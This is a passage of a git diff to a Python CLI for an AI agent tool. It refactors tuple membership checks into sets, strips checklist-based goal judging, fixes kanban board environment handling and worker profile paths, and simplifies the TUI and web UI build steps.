Continuing toward goal ({state.turns_used}/{state.max_turns}{progress}): {reason}" + f"↻ Continuing toward goal ({state.turns_used}/{state.max_turns}): {reason}" ), } - def _evaluate_state_phase_b( - self, - state: GoalState, - last_response: str, - *, - agent: Any = None, - messages: Optional[List[Dict[str, Any]]] = None, - ) -> Tuple[str, str, bool]: - """Run the right kind of Phase-B evaluation given current state. - - With a non-empty checklist: harsh per-item evaluation with a bounded - read_file tool loop. - - With an empty checklist (e.g. decompose failed twice): fall back to - the legacy freeform judge so the goal still has a way to terminate. - """ - if not last_response.strip(): - return "continue", "empty response (nothing to evaluate)", False - - if state.checklist: - # Dump conversation history if we have one. Prefer explicit - # ``messages`` arg (most reliable); fall back to extracting from - # the agent instance for back-compat. - history_path: Optional[Path] = None - msgs: List[Dict[str, Any]] = [] - if messages: - msgs = list(messages) - elif agent is not None: - msgs = self._extract_agent_messages(agent) - if msgs: - history_path = dump_conversation(self.session_id, msgs) - if history_path is None: - logger.debug( - "goal: conversation dump failed for session %s", - self.session_id, - ) - else: - logger.debug( - "goal: no messages available for session %s — judge will run from snippet only", - self.session_id, - ) - - parsed, parse_failed = evaluate_checklist( - state, last_response, history_path=history_path - ) - self._apply_checklist_updates(state, parsed) - - if state.all_terminal(): - return "done", parsed.get("reason") or "all checklist items terminal", parse_failed - return "continue", parsed.get("reason") or "checklist progress", parse_failed - - # No checklist — freeform fallback. - verdict, reason, parse_failed = judge_goal_freeform(state.goal, last_response) - return verdict, reason, parse_failed - - # --- internal helpers --------------------------------------------- - - @staticmethod - def _extract_agent_messages(agent: Any) -> List[Dict[str, Any]]: - """Best-effort extraction of the agent's conversation history. - - Tries common attribute names so we don't tightly couple to AIAgent. - Returns an empty list when nothing is available. - """ - for attr in ("messages", "conversation_history", "_messages", "history"): - try: - msgs = getattr(agent, attr, None) - if isinstance(msgs, list) and msgs: - return msgs - except Exception: - continue - return [] - - @staticmethod - def _apply_checklist_updates(state: GoalState, parsed: Dict[str, Any]) -> None: - """Apply judge updates with stickiness: never regress terminal items.""" - now = time.time() - for upd in parsed.get("updates") or []: - try: - idx = int(upd["index"]) - except (KeyError, TypeError, ValueError): - continue - if idx < 0 or idx >= len(state.checklist): - continue - item = state.checklist[idx] - if item.status in TERMINAL_ITEM_STATUSES: - # Stickiness: judge cannot regress a terminal item. - continue - new_status = upd.get("status") - if new_status not in TERMINAL_ITEM_STATUSES: - continue - item.status = new_status - item.completed_at = now - evidence = upd.get("evidence") - if evidence: - item.evidence = evidence - - for new_item in parsed.get("new_items") or []: - text = (new_item.get("text") or "").strip() - if not text: - continue - state.checklist.append( - ChecklistItem( - text=text, - status=ITEM_PENDING, - added_by=ADDED_BY_JUDGE, - added_at=now, - ) - ) - - # --- continuation prompt ------------------------------------------ - def next_continuation_prompt(self) -> Optional[str]: if not self._state or self._state.status != "active": return None - if not self._state.checklist: - return CONTINUATION_PROMPT_TEMPLATE.format(goal=self._state.goal) - cl_total, cl_done, cl_imp, _ = self._state.checklist_counts() - return CONTINUATION_PROMPT_WITH_CHECKLIST_TEMPLATE.format( - goal=self._state.goal, - done=cl_done + cl_imp, - total=cl_total, - checklist=self._state.render_checklist(numbered=False), - ) - - -# Public name kept for back-compat with the previous freeform-only API. -def judge_goal( - goal: str, - last_response: str, - *, - timeout: float = DEFAULT_JUDGE_TIMEOUT, -) -> Tuple[str, str, bool]: - """Back-compat wrapper — defers to the freeform judge.""" - return judge_goal_freeform(goal, last_response, timeout=timeout) + return CONTINUATION_PROMPT_TEMPLATE.format(goal=self._state.goal) __all__ = [ - "ChecklistItem", "GoalState", "GoalManager", "CONTINUATION_PROMPT_TEMPLATE", - "CONTINUATION_PROMPT_WITH_CHECKLIST_TEMPLATE", "DEFAULT_MAX_TURNS", - "DEFAULT_MAX_JUDGE_TOOL_CALLS", - "ITEM_PENDING", - "ITEM_COMPLETED", - "ITEM_IMPOSSIBLE", - "ITEM_MARKERS", - "TERMINAL_ITEM_STATUSES", - "VALID_ITEM_STATUSES", "load_goal", "save_goal", "clear_goal", "judge_goal", - "judge_goal_freeform", - "decompose_goal", - "evaluate_checklist", - "conversation_dump_path", - "dump_conversation", ] diff --git a/hermes_cli/hooks.py b/hermes_cli/hooks.py index 45b3fc637453..9bbec9997fec 100644 --- a/hermes_cli/hooks.py +++ b/hermes_cli/hooks.py @@ -32,11 +32,11 @@ def hooks_command(args) -> None: print("Run 'hermes hooks --help' for details.") return - if sub in ("list", "ls"): + if sub in {"list", "ls"}: _cmd_list(args) elif sub == "test": _cmd_test(args) - elif sub in ("revoke", "remove", "rm"): + elif sub in {"revoke", "remove", "rm"}: _cmd_revoke(args) elif sub == "doctor": _cmd_doctor(args) @@ -220,7 +220,7 @@ def _cmd_test(args) -> None: if getattr(args, "for_tool", None): specs = [ s for s in specs - if s.event not in ("pre_tool_call", "post_tool_call") + if s.event not in {"pre_tool_call", "post_tool_call"} or s.matches_tool(args.for_tool) ] diff --git a/hermes_cli/kanban.py b/hermes_cli/kanban.py index 11b00da59ace..76f95db4facd 100644 --- a/hermes_cli/kanban.py +++ b/hermes_cli/kanban.py @@ -82,7 +82,7 @@ def _parse_workspace_flag(value: str) -> tuple[str, Optional[str]]: if not value: return ("scratch", None) v = value.strip() - if v in ("scratch", "worktree"): + if v in {"scratch", "worktree"}: return (v, None) if v.startswith("dir:"): path = v[len("dir:"):].strip() @@ -652,6 +652,16 @@ def kanban_command(args: argparse.Namespace) -> int: # keeps the patch small and inherits the exact same resolution the # dispatcher uses for workers — consistency is a feature here. board_override = getattr(args, "board", None) + prev_board_env = os.environ.get("HERMES_KANBAN_BOARD") + restore_board_env = False + + def _restore_board_env() -> None: + if not restore_board_env: + return + if prev_board_env is None: + os.environ.pop("HERMES_KANBAN_BOARD", None) + else: + os.environ["HERMES_KANBAN_BOARD"] = prev_board_env if board_override: try: normed = kb._normalize_board_slug(board_override) @@ -671,12 +681,16 @@ def kanban_command(args: argparse.Namespace) -> int: ) return 1 os.environ["HERMES_KANBAN_BOARD"] = normed + restore_board_env = True # Boards management doesn't touch the DB at all — dispatch early so # fresh installs that haven't initialized any DB can still use # `hermes kanban boards create …`. if action == "boards": - return _dispatch_boards(args) + try: + return _dispatch_boards(args) + finally: + _restore_board_env() # Auto-initialize the DB before dispatching any subcommand. init_db # is idempotent, so running it every invocation is cheap (one @@ -689,6 +703,7 @@ def kanban_command(args: argparse.Namespace) -> int: kb.init_db() except Exception as exc: print(f"kanban: could not initialize database: {exc}", file=sys.stderr) + _restore_board_env() return 1 handlers = { @@ -730,12 +745,16 @@ def kanban_command(args: argparse.Namespace) -> int: handler = handlers.get(action) if not handler: print(f"kanban: unknown action {action!r}", file=sys.stderr) + _restore_board_env() return 2 try: return int(handler(args) or 0) except (ValueError, RuntimeError) as exc: print(f"kanban: {exc}", file=sys.stderr) + _restore_board_env() return 1 + finally: + _restore_board_env() # --------------------------------------------------------------------------- @@ -769,15 +788,15 @@ def _dispatch_boards(args: argparse.Namespace) -> int: can still run ``boards create`` / ``boards list``. """ sub = getattr(args, "boards_action", None) or "list" - if sub in ("list", "ls"): + if sub in {"list", "ls"}: return _cmd_boards_list(args) - if sub in ("create", "new"): + if sub in {"create", "new"}: return _cmd_boards_create(args) - if sub in ("rm", "remove", "delete"): + if sub in {"rm", "remove", "delete"}: return _cmd_boards_rm(args) - if sub in ("switch", "use"): + if sub in {"switch", "use"}: return _cmd_boards_switch(args) - if sub in ("show", "current"): + if sub in {"show", "current"}: return _cmd_boards_show(args) if sub == "rename": return _cmd_boards_rename(args) @@ -1282,7 +1301,7 @@ def _cmd_show(args: argparse.Namespace) -> int: def _cmd_assign(args: argparse.Namespace) -> int: - profile = None if args.profile.lower() in ("none", "-", "null") else args.profile + profile = None if args.profile.lower() in {"none", "-", "null"} else args.profile with kb.connect() as conn: ok = kb.assign_task(conn, args.task_id, profile) if not ok: @@ -1309,7 +1328,7 @@ def _cmd_reclaim(args: argparse.Namespace) -> int: def _cmd_reassign(args: argparse.Namespace) -> int: - profile = None if args.profile.lower() in ("none", "-", "null") else args.profile + profile = None if args.profile.lower() in {"none", "-", "null"} else args.profile with kb.connect() as conn: ok = kb.reassign_task( conn, args.task_id, profile, @@ -2077,19 +2096,18 @@ def _cmd_specify(args: argparse.Namespace) -> int: "reason": outcome.reason, "new_title": outcome.new_title, })) + elif outcome.ok: + title_suffix = ( + f" — retitled: {outcome.new_title!r}" + if outcome.new_title + else "" + ) + print(f"Specified {outcome.task_id} → todo{title_suffix}") else: - if outcome.ok: - title_suffix = ( - f" — retitled: {outcome.new_title!r}" - if outcome.new_title - else "" - ) - print(f"Specified {outcome.task_id} → todo{title_suffix}") - else: - print( - f"kanban: specify {outcome.task_id}: {outcome.reason}", - file=sys.stderr, - ) + print( + f"kanban: specify {outcome.task_id}: {outcome.reason}", + file=sys.stderr, + ) if not all_flag: return 0 if ok_count == 1 else 1 # --all: succeed if at least one promotion landed; exit 1 only when @@ -2212,7 +2230,7 @@ def run_slash(rest: str) -> str: out = buf_out.getvalue().rstrip() err = buf_err.getvalue().rstrip() # Help dump (exit 0) → return the captured help text directly. - if exc.code in (0, None) and out: + if exc.code in {0, None} and out: return out body = err or out return f"⚠ /kanban usage error\n{body}" if body else "⚠ /kanban usage error" diff --git a/hermes_cli/kanban_db.py b/hermes_cli/kanban_db.py index f414766ef5ca..0db694ff5b1b 100644 --- a/hermes_cli/kanban_db.py +++ b/hermes_cli/kanban_db.py @@ -1826,7 +1826,7 @@ def _synthesize_ended_run( # --------------------------------------------------------------------------- def recompute_ready(conn: sqlite3.Connection) -> int: - """Promote ``todo`` tasks to ``ready`` when all parents are ``done``. + """Promote ``todo`` tasks to ``ready`` when all parents are ``done`` or ``archived``. Returns the number of tasks promoted. Safe to call inside or outside an existing transaction; it opens its own IMMEDIATE txn. @@ -1844,7 +1844,7 @@ def recompute_ready(conn: sqlite3.Connection) -> int: "WHERE l.child_id = ?", (task_id,), ).fetchall() - if all(p["status"] == "done" for p in parents): + if all(p["status"] in {"done", "archived"} for p in parents): conn.execute( "UPDATE tasks SET status = 'ready' WHERE id = ? AND status = 'todo'", (task_id,), @@ -1885,7 +1885,7 @@ def claim_task( undone = conn.execute( "SELECT 1 FROM task_links l " "JOIN tasks p ON p.id = l.parent_id " - "WHERE l.child_id = ? AND p.status != 'done' LIMIT 1", + "WHERE l.child_id = ? AND p.status NOT IN ('done', 'archived') LIMIT 1", (task_id,), ).fetchone() if undone: @@ -3930,6 +3930,25 @@ def _default_spawn( prompt = f"work kanban task {task.id}" env = dict(os.environ) + + # Inject HERMES_HOME so the worker reads the profile-scoped config.yaml + # (fallback_providers, toolsets, agent settings, etc.) instead of the root + # config. Without this, `env = dict(os.environ)` copies only the parent's + # env, and when the child process starts `hermes -p ` the + # _apply_profile_override() runs *before* hermes_constants is imported. + # If HERMES_HOME is absent from the child's env, get_hermes_home() falls + # back to Path.home() / ".hermes" (the DEFAULT profile root), ignoring the + # profile-specific config entirely. Fixes profile-scoped fallback_providers + # being invisible to kanban workers. + from hermes_cli.profiles import resolve_profile_env + try: + env["HERMES_HOME"] = resolve_profile_env(profile_arg) + except FileNotFoundError: + # Profile dir doesn't exist — defer resolution to the CLI's + # _apply_profile_override() via HERMES_PROFILE (set below). + # This only happens in test fixtures where the isolated + # HERMES_HOME never had profiles created. + pass if task.tenant: env["HERMES_TENANT"] = task.tenant env["HERMES_KANBAN_TASK"] = task.id diff --git a/hermes_cli/kanban_diagnostics.py b/hermes_cli/kanban_diagnostics.py index 6e426ab5dfb3..42c0c2043f21 100644 --- a/hermes_cli/kanban_diagnostics.py +++ b/hermes_cli/kanban_diagnostics.py @@ -177,7 +177,7 @@ def _active_hallucination_events( active: list[Any] = [] for ev in events: k = _event_kind(ev) - if k in ("completed", "edited"): + if k in {"completed", "edited"}: active.clear() elif k == kind: active.append(ev) @@ -193,10 +193,9 @@ def _latest_clean_event_ts(events: Iterable[Any]) -> int: """ latest = 0 for ev in events: - if _event_kind(ev) in ("completed", "edited"): + if _event_kind(ev) in {"completed", "edited"}: t = _event_ts(ev) - if t > latest: - latest = t + latest = max(latest, t) return latest @@ -356,7 +355,7 @@ def _rule_repeated_failures(task, events, runs, now, cfg) -> list[Diagnostic]: most_recent_outcome = None for r in reversed(ordered_runs): oc = _task_field(r, "outcome") - if oc in ("spawn_failed", "timed_out", "crashed"): + if oc in {"spawn_failed", "timed_out", "crashed"}: most_recent_outcome = oc break @@ -374,7 +373,7 @@ def _rule_repeated_failures(task, events, runs, now, cfg) -> list[Diagnostic]: label=f"Fix profile auth: hermes -p {assignee} auth", payload={"command": f"hermes -p {assignee} auth"}, )) - elif most_recent_outcome in ("timed_out", "crashed"): + elif most_recent_outcome in {"timed_out", "crashed"}: # Worker got off the ground but died. Logs are the right place # to diagnose; reclaim/reassign are the recovery levers. task_id = _task_field(task, "id") @@ -467,7 +466,7 @@ def _rule_repeated_crashes(task, events, runs, now, cfg) -> list[Diagnostic]: consecutive += 1 if last_err is None: last_err = _task_field(r, "error") - elif outcome in ("completed", "reclaimed"): + elif outcome in {"completed", "reclaimed"}: # A success (or manual reclaim) breaks the streak. break else: @@ -534,8 +533,7 @@ def _rule_stuck_in_blocked(task, events, runs, now, cfg) -> list[Diagnostic]: for ev in events: if _event_kind(ev) == "blocked": t = _event_ts(ev) - if t > last_blocked_ts: - last_blocked_ts = t + last_blocked_ts = max(last_blocked_ts, t) if last_blocked_ts == 0: return [] age_hours = (now - last_blocked_ts) / 3600.0 @@ -543,7 +541,7 @@ def _rule_stuck_in_blocked(task, events, runs, now, cfg) -> list[Diagnostic]: return [] # Any comment / unblock after the block breaks the "stale" signal. for ev in events: - if _event_kind(ev) in ("commented", "unblocked") and _event_ts(ev) > last_blocked_ts: + if _event_kind(ev) in {"commented", "unblocked"} and _event_ts(ev) > last_blocked_ts: return [] actions: list[DiagnosticAction] = [ DiagnosticAction( @@ -626,8 +624,7 @@ def _rule_stranded_in_ready(task, events, runs, now, cfg) -> list[Diagnostic]: for ev in events: if _event_kind(ev) in READY_TRANSITION_KINDS: t = _event_ts(ev) - if t > last_ready_ts: - last_ready_ts = t + last_ready_ts = max(last_ready_ts, t) # Fallback: if no qualifying event exists (very old task or events # truncated), fall back to ``created_at`` on the task row. Better diff --git a/hermes_cli/main.py b/hermes_cli/main.py index 74b74f2725bc..33f915a9e6b7 100644 --- a/hermes_cli/main.py +++ b/hermes_cli/main.py @@ -124,7 +124,7 @@ def _apply_profile_override() -> None: # 1. Check for explicit -p / --profile flag for i, arg in enumerate(argv): - if arg in ("--profile", "-p") and i + 1 < len(argv): + if arg in {"--profile", "-p"} and i + 1 < len(argv): profile_name = argv[i + 1] consume = 2 break @@ -192,7 +192,7 @@ def _apply_profile_override() -> None: # Strip the flag from argv so argparse doesn't choke if consume > 0: for i, arg in enumerate(argv): - if arg in ("--profile", "-p"): + if arg in {"--profile", "-p"}: start = i + 1 # +1 because argv is sys.argv[1:] sys.argv = sys.argv[:start] + sys.argv[start + consume :] break @@ -505,8 +505,7 @@ def _curses_browse(stdscr): # Compute visible area visible_rows = max_y - 4 # header + col header + blank + footer - if visible_rows < 1: - visible_rows = 1 + visible_rows = max(visible_rows, 1) # Clamp cursor and scroll if not filtered: @@ -518,8 +517,7 @@ def _curses_browse(stdscr): else: if cursor >= len(filtered): cursor = len(filtered) - 1 - if cursor < 0: - cursor = 0 + cursor = max(cursor, 0) if cursor < scroll_offset: scroll_offset = cursor elif cursor >= scroll_offset + visible_rows: @@ -569,13 +567,13 @@ def _curses_browse(stdscr): stdscr.refresh() key = stdscr.getch() - if key in (curses.KEY_UP,): + if key in {curses.KEY_UP,}: if filtered: cursor = (cursor - 1) % len(filtered) - elif key in (curses.KEY_DOWN,): + elif key in {curses.KEY_DOWN,}: if filtered: cursor = (cursor + 1) % len(filtered) - elif key in (curses.KEY_ENTER, 10, 13): + elif key in {curses.KEY_ENTER, 10, 13}: if filtered: result_holder[0] = filtered[cursor]["id"] return @@ -589,7 +587,7 @@ def _curses_browse(stdscr): else: # Second Esc exits return - elif key in (curses.KEY_BACKSPACE, 127, 8): + elif key in {curses.KEY_BACKSPACE, 127, 8}: if search_text: search_text = search_text[:-1] if search_text: @@ -628,7 +626,7 @@ def _curses_browse(stdscr): while True: try: val = input(f"\n Select [1-{len(sessions)}]: ").strip() - if not val or val.lower() in ("q", "quit", "exit"): + if not val or val.lower() in {"q", "quit", "exit"}: return None idx = int(val) - 1 if 0 <= idx < len(sessions): @@ -899,6 +897,11 @@ def _print_tui_exit_summary( def _tui_need_npm_install(root: Path) -> bool: """True when @hermes/ink is missing or node_modules is behind package-lock.json. + Prebuilt bundle mode: when ``dist/entry.js`` exists and there is no + ``package-lock.json`` (nix install layout only ships ``dist/`` + + ``package.json``), skip reinstall entirely — the bundle is self-contained + and there is nothing to install. + Compares ``package-lock.json`` against ``node_modules/.package-lock.json`` (npm's hidden lockfile) by **content**, not mtime: git checkouts and npm rewrites can bump the root lockfile's timestamp even when installed deps @@ -916,10 +919,16 @@ def _tui_need_npm_install(root: Path) -> bool: we'd rather not force a reinstall for them. Falls back to mtime comparison if either lockfile is unparseable. """ + lock = root / "package-lock.json" + entry = root / "dist" / "entry.js" + # Prebuilt self-contained bundle (nix / packaged release): no lockfile + # shipped, dist/entry.js is the single runtime artefact. + if entry.is_file() and not lock.is_file(): + return False + ink = root / "node_modules" / "@hermes" / "ink" / "package.json" if not ink.is_file(): return True - lock = root / "package-lock.json" if not lock.is_file(): return False marker = root / "node_modules" / ".package-lock.json" @@ -958,63 +967,6 @@ def comparable(pkg: dict) -> dict: return False -def _find_bundled_tui(tui_dir: Path) -> Optional[Path]: - """Directory whose dist/entry.js we should run: HERMES_TUI_DIR first, else repo ui-tui.""" - env = os.environ.get("HERMES_TUI_DIR") - if env: - p = Path(env) - if (p / "dist" / "entry.js").exists() and not _tui_need_npm_install(p): - return p - if (tui_dir / "dist" / "entry.js").exists() and not _tui_need_npm_install(tui_dir): - return tui_dir - return None - - -def _tui_build_needed(tui_dir: Path) -> bool: - if _hermes_ink_bundle_stale(tui_dir): - return True - entry = tui_dir / "dist" / "entry.js" - if not entry.exists(): - return True - dist_m = entry.stat().st_mtime - skip = frozenset({"node_modules", "dist"}) - for dirpath, dirnames, filenames in os.walk(tui_dir, topdown=True): - dirnames[:] = [d for d in dirnames if d not in skip] - for fn in filenames: - if fn.endswith((".ts", ".tsx")): - if os.path.getmtime(os.path.join(dirpath, fn)) > dist_m: - return True - for meta in ( - "package.json", - "package-lock.json", - "tsconfig.json", - "tsconfig.build.json", - ): - mp = tui_dir / meta - if mp.exists() and mp.stat().st_mtime > dist_m: - return True - return False - - -def _hermes_ink_bundle_stale(tui_dir: Path) -> bool: - ink_root = tui_dir / "packages" / "hermes-ink" - bundle = ink_root / "dist" / "ink-bundle.js" - if not bundle.exists(): - return True - bm = bundle.stat().st_mtime - skip = frozenset({"node_modules", "dist"}) - for dirpath, dirnames, filenames in os.walk(ink_root, topdown=True): - dirnames[:] = [d for d in dirnames if d not in skip] - for fn in filenames: - if fn.endswith((".ts", ".tsx")): - if os.path.getmtime(os.path.join(dirpath, fn)) > bm: - return True - mp = ink_root / "package.json" - if mp.exists() and mp.stat().st_mtime > bm: - return True - return False - - def _ensure_tui_node() -> None: """Make sure `node` + `npm` are on PATH for the TUI. @@ -1073,7 +1025,7 @@ def _ensure_tui_node() -> None: def _make_tui_argv(tui_dir: Path, tui_dev: bool) -> tuple[list[str], Path]: - """TUI: --dev → tsx src; else node dist (HERMES_TUI_DIR or ui-tui, build when stale).""" + """TUI: --dev → tsx src; else node dist (HERMES_TUI_DIR prebuilt or esbuild).""" _ensure_tui_node() def _node_bin(bin: str) -> str: @@ -1087,23 +1039,31 @@ def _node_bin(bin: str) -> str: sys.exit(1) return path - # pre-built dist + node_modules (nix / full HERMES_TUI_DIR) skips npm. + # Footgun: --dev against a prebuilt bundle that has no source/node_modules. + ext_dir = os.environ.get("HERMES_TUI_DIR") + if tui_dev and ext_dir: + print( + f"Error: --dev is incompatible with HERMES_TUI_DIR={ext_dir}\n" + f"The prebuilt TUI has no source code to hot-reload.\n" + f"Unset HERMES_TUI_DIR (e.g. `unset HERMES_TUI_DIR`) to use --dev from a checkout.", + file=sys.stderr, + ) + sys.exit(1) + + # 1. Prebuilt bundle (nix / packaged release): just run it. if not tui_dev: - ext_dir = os.environ.get("HERMES_TUI_DIR") if ext_dir: p = Path(ext_dir) - if (p / "dist" / "entry.js").exists() and not _tui_need_npm_install(p): + if (p / "dist" / "entry.js").is_file(): node = _node_bin("node") return [node, str(p / "dist" / "entry.js")], p - npm = _node_bin("npm") + # 2. Normal flow: npm install if needed, always esbuild, then node dist/entry.js. + # --dev flow: npm install if needed, then tsx src/entry.tsx (no build). if _tui_need_npm_install(tui_dir): + npm = _node_bin("npm") if not os.environ.get("HERMES_QUIET"): print("Installing TUI dependencies…") - # Capture stdout as well as stderr — some npm errors (notably EACCES on a - # root-owned node_modules in containers) are emitted on stdout, and a - # bare "npm install failed." with no preview defeats debugging. We keep - # the failure-only print path so a successful install stays silent. result = subprocess.run( [npm, "install", "--silent", "--no-fund", "--no-audit", "--progress=false"], cwd=str(tui_dir), @@ -1121,47 +1081,30 @@ def _node_bin(bin: str) -> str: sys.exit(1) if tui_dev: - if _hermes_ink_bundle_stale(tui_dir): - result = subprocess.run( - [npm, "run", "build", "--prefix", "packages/hermes-ink"], - cwd=str(tui_dir), - capture_output=True, - text=True, - ) - if result.returncode != 0: - combined = f"{result.stdout or ''}{result.stderr or ''}".strip() - preview = "\n".join(combined.splitlines()[-30:]) - print("@hermes/ink build failed.") - if preview: - print(preview) - sys.exit(1) tsx = tui_dir / "node_modules" / ".bin" / "tsx" if tsx.exists(): return [str(tsx), "src/entry.tsx"], tui_dir + npm = _node_bin("npm") return [npm, "start"], tui_dir - if _tui_build_needed(tui_dir): - result = subprocess.run( - [npm, "run", "build"], - cwd=str(tui_dir), - capture_output=True, - text=True, - ) - if result.returncode != 0: - combined = f"{result.stdout or ''}{result.stderr or ''}".strip() - preview = "\n".join(combined.splitlines()[-30:]) - print("TUI build failed.") - if preview: - print(preview) - sys.exit(1) - - root = _find_bundled_tui(tui_dir) - if not root: - print("TUI build did not produce dist/entry.js") + # Always rebuild — esbuild is fast and this avoids staleness-edge-case bugs. + npm = _node_bin("npm") + result = subprocess.run( + [npm, "run", "build"], + cwd=str(tui_dir), + capture_output=True, + text=True, + ) + if result.returncode != 0: + combined = f"{result.stdout or ''}{result.stderr or ''}".strip() + preview = "\n".join(combined.splitlines()[-30:]) + print("TUI build failed.") + if preview: + print(preview) sys.exit(1) node = _node_bin("node") - return [node, str(root / "dist" / "entry.js")], root + return [node, str(tui_dir / "dist" / "entry.js")], tui_dir def _normalize_tui_toolsets(toolsets: object) -> list[str]: @@ -1305,7 +1248,7 @@ def _launch_tui( except KeyboardInterrupt: code = 130 - if code in (0, 130): + if code in {0, 130}: _print_tui_exit_summary(resume_session_id, active_session_file) finally: try: @@ -1405,7 +1348,7 @@ def cmd_chat(args): reply = input("Run setup now? [Y/n] ").strip().lower() except (EOFError, KeyboardInterrupt): reply = "n" - if reply in ("", "y", "yes"): + if reply in {"", "y", "yes"}: cmd_setup(args) return print() @@ -1585,7 +1528,7 @@ def cmd_whatsapp(args): response = input("\n Update allowed users? [y/N] ").strip() except (EOFError, KeyboardInterrupt): response = "n" - if response.lower() in ("y", "yes"): + if response.lower() in {"y", "yes"}: if wa_mode == "bot": phone = input( " Phone numbers that can message the bot (comma-separated): " @@ -1660,7 +1603,7 @@ def cmd_whatsapp(args): ).strip() except (EOFError, KeyboardInterrupt): response = "n" - if response.lower() in ("y", "yes"): + if response.lower() in {"y", "yes"}: shutil.rmtree(session_dir, ignore_errors=True) session_dir.mkdir(parents=True, exist_ok=True) print(" ✓ Session cleared") @@ -2014,7 +1957,7 @@ def _lookup_ref(name: str, provider_key: str, model: str) -> str: _model_flow_bedrock(config, current_model) elif selected_provider == "azure-foundry": _model_flow_azure_foundry(config, current_model) - elif selected_provider in ( + elif selected_provider in { "gemini", "deepseek", "xai", @@ -2034,18 +1977,18 @@ def _lookup_ref(name: str, provider_key: str, model: str) -> str: "ollama-cloud", "tencent-tokenhub", "lmstudio", - ) or _is_profile_api_key_provider(selected_provider): + } or _is_profile_api_key_provider(selected_provider): _model_flow_api_key_provider(config, selected_provider, current_model) # ── Post-switch cleanup: clear stale OPENAI_BASE_URL ────────────── # When the user switches to a named provider (anything except "custom"), # a leftover OPENAI_BASE_URL in ~/.hermes/.env can poison auxiliary # clients that use provider:auto. Clear it proactively. (#5161) - if selected_provider not in ( + if selected_provider not in { "custom", "cancel", "remove-custom", - ) and not selected_provider.startswith("custom:"): + } and not selected_provider.startswith("custom:"): _clear_stale_openai_base_url() @@ -2171,7 +2114,7 @@ def _reset_aux_to_auto() -> int: entry = {} aux[task] = entry changed = False - if entry.get("provider") not in (None, "", "auto"): + if entry.get("provider") not in {None, "", "auto"}: entry["provider"] = "auto" changed = True for field in ("model", "base_url", "api_key"): @@ -2646,6 +2589,7 @@ def _model_flow_nous(config, current_model="", args=None): get_pricing_for_provider, check_nous_free_tier, partition_nous_models_by_tier, + union_with_portal_free_recommendations, ) model_ids = get_curated_nous_model_ids() @@ -2686,10 +2630,26 @@ def _model_flow_nous(config, current_model="", args=None): # Check if user is on free tier free_tier = check_nous_free_tier() + # Resolve portal URL early — needed both for upgrade links and for the + # freeRecommendedModels endpoint below. + _nous_portal_url = "" + try: + _nous_state = get_provider_auth_state("nous") + if _nous_state: + _nous_portal_url = _nous_state.get("portal_base_url", "") + except Exception: + pass + # For free users: partition models into selectable/unavailable based on - # whether they are free per the Portal-reported pricing. + # whether they are free per the Portal-reported pricing. First augment + # with the Portal's freeRecommendedModels list so newly-launched free + # models show up even if this CLI build's hardcoded curated list and + # docs-hosted manifest haven't caught up yet. unavailable_models: list[str] = [] if free_tier: + model_ids, pricing = union_with_portal_free_recommendations( + model_ids, pricing, _nous_portal_url, + ) model_ids, unavailable_models = partition_nous_models_by_tier( model_ids, pricing, free_tier=True ) @@ -2698,15 +2658,6 @@ def _model_flow_nous(config, current_model="", args=None): print("No models available for Nous Portal after filtering.") return - # Resolve portal URL for upgrade links (may differ on staging) - _nous_portal_url = "" - try: - _nous_state = get_provider_auth_state("nous") - if _nous_state: - _nous_portal_url = _nous_state.get("portal_base_url", "") - except Exception: - pass - if free_tier and not model_ids: print("No free models currently available.") if unavailable_models: @@ -3082,7 +3033,7 @@ def _model_flow_custom(config): _add_v1 = input(" Add /v1? [Y/n]: ").strip().lower() except (KeyboardInterrupt, EOFError): _add_v1 = "n" - if _add_v1 in ("", "y", "yes"): + if _add_v1 in {"", "y", "yes"}: effective_url = effective_url.rstrip("/") + "/v1" if base_url: base_url = effective_url @@ -3126,7 +3077,7 @@ def _model_flow_custom(config): if len(detected_models) == 1: print(f" Detected model: {detected_models[0]}") confirm = input(" Use this model? [Y/n]: ").strip().lower() - if confirm in ("", "y", "yes"): + if confirm in {"", "y", "yes"}: model_name = detected_models[0] else: model_name = input("Model name (e.g. gpt-4, llama-3-70b): ").strip() @@ -3959,7 +3910,7 @@ def _model_flow_copilot(config, current_model=""): api_key = creds.get("api_key", "") source = creds.get("source", "") else: - if source in ("GITHUB_TOKEN", "GH_TOKEN"): + if source in {"GITHUB_TOKEN", "GH_TOKEN"}: print(f" GitHub token: {api_key[:8]}... ✓ ({source})") elif source == "gh auth token": print(" GitHub token: ✓ (from `gh auth token`)") @@ -5279,7 +5230,7 @@ def cmd_slack(args): command registered as a first-class slash. """ sub = getattr(args, "slack_command", None) - if sub in (None, ""): + if sub in {None, ""}: # No subcommand — print usage hint. print( "usage: hermes slack \n" @@ -5426,7 +5377,7 @@ def _clear_bytecode_cache(root: Path) -> int: dirnames[:] = [ d for d in dirnames - if d not in ("venv", ".venv", "node_modules", ".git", ".worktrees") + if d not in {"venv", ".venv", "node_modules", ".git", ".worktrees"} ] if os.path.basename(dirpath) == "__pycache__": try: @@ -5491,7 +5442,6 @@ def _gateway_prompt(prompt_text: str, default: str = "", timeout: float = 300.0) def _web_ui_build_needed(web_dir: Path) -> bool: """Return True if the web UI dist is missing or stale. - Mirrors the staleness logic used by ``_tui_build_needed()`` for the TUI. The Vite build outputs to ``hermes_cli/web_dist/`` (per vite.config.ts outDir: "../hermes_cli/web_dist"), NOT to ``web/dist/``. Uses the Vite manifest as the sentinel because it is written last and therefore has the @@ -5549,6 +5499,8 @@ def _run_npm_install_deterministic( cwd=cwd, capture_output=capture_output, text=True, + encoding="utf-8", + errors="replace", check=False, ) if ci_result.returncode == 0: @@ -5561,6 +5513,8 @@ def _run_npm_install_deterministic( cwd=cwd, capture_output=capture_output, text=True, + encoding="utf-8", + errors="replace", check=False, ) @@ -5597,12 +5551,50 @@ def _build_web_ui(web_dir: Path, *, fatal: bool = False) -> bool: if fatal: print(" Run manually: cd web && npm install && npm run build") return False - r2 = subprocess.run([npm, "run", "build"], cwd=web_dir, capture_output=True) + # First attempt + r2 = subprocess.run( + [npm, "run", "build"], + cwd=web_dir, + capture_output=True, + text=True, + encoding="utf-8", + errors="replace", + ) + if r2.returncode != 0: + # Retry once after a short delay — covers boot-time races on Windows + # (antivirus scanning Node.js binaries, npm cache not ready, transient + # I/O when launched via Scheduled Task at logon). See issue #23817. + _time.sleep(3) + r2 = subprocess.run( + [npm, "run", "build"], + cwd=web_dir, + capture_output=True, + text=True, + encoding="utf-8", + errors="replace", + ) + if r2.returncode != 0: + stderr_preview = (r2.stderr or "").strip() + stderr_tail = "\n ".join(stderr_preview.splitlines()[-10:]) if stderr_preview else "" + dist_dir = web_dir.parent / 